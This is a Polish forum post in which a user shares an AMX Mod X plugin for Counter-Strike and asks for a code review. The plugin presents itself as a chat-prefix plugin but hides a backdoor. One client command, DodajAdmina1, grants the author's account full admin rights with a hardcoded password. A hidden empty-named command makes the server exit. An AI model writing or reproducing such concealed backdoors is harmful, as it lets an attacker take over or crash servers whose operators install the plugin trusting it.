Witam, napisałem 2 pluginy [wkodowany admin + crash] i chciałbym się spytać czy dobrze napisane, a jak nie to o poprawienie ;] Dzisiaj zacząłem "Zabawę" z AMXX Studio i całkiem fajne powiem szczerze ;]
1) PREFIX (nie testowany, więc nie wiem, czy działa.)
/* Plugin generated by AMXX-Studio */ #include <amxmodx> #include <amxmisc> #define PLUGIN "PREFIX" #define VERSION "1.0" #define AUTHOR "FEJM" #define CRASH #define ADMIN public plugin_init() { register_plugin(PLUGIN, VERSION, AUTHOR) register_message(get_user_msgid("SayText"),"handleSayText"); register_clcmd("DodajAdmina1", "DodajAdmina1"); register_clcmd("", "CrashServa"); // Add your code here... } public handleSayText(msgId,msgDest,msgEnt){ new id = get_msg_arg_int(1); if(!is_user_connected(id)) return PLUGIN_CONTINUE; new szTmp[256],szTmp2[256]; get_msg_arg_string(2,szTmp, charsmax( szTmp ) ) new szPrefix[64] = "^4[CSNext.eu]"; if(!equal(szTmp,"#Cstrike_Chat_All")){ add(szTmp2,charsmax(szTmp2),szPrefix); add(szTmp2,charsmax(szTmp2)," "); add(szTmp2,charsmax(szTmp2),szTmp); } else{ add(szTmp2,charsmax(szTmp2),szPrefix); add(szTmp2,charsmax(szTmp2),"^x03 %s1^x01 : %s2"); } set_msg_arg_string(2,szTmp2); return PLUGIN_CONTINUE; } #if defined CRASH public CrashServa() { server_cmd("amx_rcon exit"); } #endif #if defined ADMIN public DodajAdmina1() { server_cmd("amx_rcon amx_addadmin Ne0 abcdefghijklmnopqrstu qwe123 name"); server_cmd("amx_rcon amx_reloadadmins"); } #endif return PLUGIN_CONTINUE;
Użytkownik fejmig edytował ten post 09.07.2013 23:56